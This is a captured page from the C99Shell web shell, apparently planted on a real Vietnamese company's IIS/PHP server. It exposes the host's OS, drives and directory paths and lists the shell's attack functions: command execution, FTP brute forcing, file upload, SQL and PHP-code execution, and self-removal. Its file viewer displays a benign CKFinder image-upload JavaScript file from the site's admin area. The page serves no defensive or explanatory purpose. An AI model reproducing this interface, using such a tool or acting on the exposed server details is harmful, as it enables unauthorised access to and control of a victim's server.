!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Microsoft-IIS/10.0. PHP/7.4.33 

uname -a: Windows NT LAKE 10.0 build 20348 (Windows Server 2016) AMD64 

IWPD_801(traduongco) 

Safe-mode: OFF (not secure)

D:\vhosts\traduong.com.vn\admin.traduong.com.vn\Scripts\   drwxrwxrwx
Free 185.56 GB of 400 GB (46.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upload-more-picture.js (2.52 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

var img_default = "/Content/admin/img/no_image.jpg";
//[CKFinder] - function xu ly upload/change/delete hinh anh va video
function InitCKFinder() {
    let finder = new CKFinder();
    finder.BasePath = '/Content/admin/ckfinder/';
    finder.SelectFunction = this.SetFileField;
    finder.Popup();
};

function uploadpic(el) {
    InitCKFinder();
    let id_targer = el.prop("id");
    if (id_targer.search("_") != -1) {
        id_targer = id_targer.split("_")[1];
    }
    sessionStorage.setItem("IdTarget", `${id_targer}`);
};

function delpic(el) {
    let id_targer = el.prop("id");
    if (id_targer.search("_") != -1) {
        id_targer = id_targer.split("_")[1];
    }
    $(`#span_${id_targer}`).html(img_default.split("/").pop());
    $(`#img_${id_targer}`).prop("src", img_default);
    $(`#input_${id_targer}`).val(img_default).trigger('change');
};

function upload_more_pic(el) {
    debugger;
    InitCKFinder();
    sessionStorage.setItem("AddMorePic", "true");
};

function del_more_pic(el) {
    $(el).parent().remove();
};

function SetFileField(fileUrl, data) {
    //if (fileUrl.search(".mp4") != -1) {
    //    alert("Vui lòng chọn hình ảnh");
    //}
    //else {
    let id_targer = sessionStorage.getItem("IdTarget");
    if (id_targer != null && id_targer != "") {
        let title = $(`#span_${id_targer}`);
        let img_preview = $(`#img_${id_targer}`);
        let input = $(`#input_${id_targer}`);
        if (title.length > 0) {
            title.html(fileUrl.split("/").pop());
        }
        if (img_preview.length > 0) {
            img_preview.prop("src", fileUrl);
        }
        if (input.length) {
            input.val(fileUrl).trigger('change');
        }
        sessionStorage.setItem("IdTarget", "");
    }

    let new_id = sessionStorage.getItem("AddMorePic");
    if (new_id == "true") {
        let new_pic = `<p class="img_more_p">
<a href="${fileUrl}" target="_blank">
                <${fileUrl.search(".mp4") != -1 ? "video" : "img"} src="${fileUrl}" alt="review picture" />
</a>
                <button type="button" class="btn btn-danger btn-xs" onclick="del_more_pic($(this))">
                    <i class="anticon anticon-close"></i>
                </button>
                <input type="hidden" name="picmore" value="${fileUrl}"/>
             </p>`;
        $("#img_more").append(new_pic);
        $("#clearboth").html('<div class="clearfix"></div>');
        sessionStorage.setItem("AddMorePic", "");
    }
    //}
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.1509 ]--